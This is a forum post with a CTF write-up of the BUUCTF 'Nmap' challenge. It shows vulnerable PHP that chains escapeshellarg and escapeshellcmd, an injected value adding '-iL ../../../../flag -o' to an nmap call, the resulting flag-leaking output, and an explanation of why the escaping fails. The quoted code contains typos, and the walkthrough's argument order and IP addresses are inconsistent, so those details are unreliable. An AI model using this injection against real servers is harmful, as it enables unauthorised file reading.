登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
BUUCTF靶场52 -- [网鼎杯 2020 朱雀组]Nmap
[PHP] 纯文本查看 复制代码 <?
require('settings.php');
set_time_limit(0);
if(isset($_POST['host'])):
if(!defined('WEB_SCANS'){
die('Web scans disabled');
}
$host = $_POST['host'];
if(stripos($host,'php'] !== false{
die("Hacker..…");
}
$host=escapeshellarg($host); // "'127.0.0.1'\'' -iL ../../../../flag -o 1'"
$host=escapeshellcmd($host); //"'127.0.0.1'\\'' -iL ../../../../flag -o 1\'" ---> //nmap 127.0.0.1 -iL ../../../../flag -o 1\'
$filename=substr(md5(time.rand(1,10)),0,5);
$command="nmap".NMAP_ARGS."-oX".RESULTS_PATH.$filename."".$host;
$result_scan=shel1_exec($command);
if(is_null($result_scan)){
die('Something went wrong');
}else{
header('Location:result.php?f='.$filename);
}
else:
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>NMAP</title>
payload:[PHP] 纯文本查看 复制代码 http://1efe47de-c7d4-466b-8793-e10c42b8d881.node4.buuoj.cn:81/1'
[Bash shell] 纯文本查看 复制代码 # Nmap 6.47 scan initiated Tue Sep 13 03:43:07 2022 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/5d4f7 -iL ../../../../flag -o 1' 127.0.0.1\
Failed to resolve "flag{cd386f4d-3435-4860-ab39-df7609249683}".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Tue Sep 13 03:43:07 2022 -- 0 IP addresses (0 hosts up) scanned in 0.17 seconds Nmap 相关参数-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件
举例 nmap -iL ip_target.txt -o result.txt扫描ip_target.txt内包含的ip地址,输出扫描结果至result.txt
读取文件结果 # Nmap 6.47 scan initiated Fri Dec 24 06:48:23 2021 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/a9950 -iL /flag -o 22' 127.0.0.1\Failed to resolve "flag{c5e95c66-f441-496b-ac27-699ea43d5c32}".WARNING: No targets were specified, so 0 hosts scanned.# Nmap done at Fri Dec 24 06:48:23 2021 -- 0 IP addresses (0 hosts up) scanned in 0.11 seconds会提示搜索内容失败,然后会写出来内容是啥,从而实现任意文件读取。 escapeshell分为excapeshellarg()和escapeshellcmd()两个函数 escapeshellarg()escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数,保证其作为参数的安全性。
用转义符转义所有单引号,然后用单引号包裹,如 123' aa经过escapeshellarg,先转义单引号 123\' aa再用单引号包裹 123'\'' aa最后,escapeshellarg会将整个字符串用单引号包裹,让字符串变成这样 '123'\'' aa'escapeshellcmd()escapeshellcmd - 把字符串中可能欺骗shell命令的字符转义, 用以保证送到system函数或者exec函数的字符串是安全的。
可以看到,不光这些字符,转义符本身还有落单的引号也会被转义。
这个时候,我们把传入escapeshellarg的字符串拿过来,在经过这个函数的处理。 '123'\'' aa'转义后 '123'\\'' aa\'因为转义符被转义,最后的引号便落单,逃逸了出去。这个时候,被输入的字符串不再被当成单个参数处理(不再有引号包裹), 即逃出了这两个函数。
我们详细分析一下:127.0.0.1 -iL ../../../../flag -o 1\' - 传入的参数是:127.0.0.1' ../../../../flag -iL -o 1
- 经过escapeshellarg处理后变成了'127.0.0.1'\'' ../../../../flag -iL -o 1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
- 经过escapeshellcmd处理后变成'172.17.0.2'\\'' ../../../../flag -iL -o 1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
- 最后执行的命令是nmap '127.0.0.1'\\'' ../../../../flag 1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为nmap 127.0.0.1\ ../../../../flag -iL -o 1',即向127.0.0.1\发起请求,POST 数据为../../../../flag -iL -o 1'。
参考:
|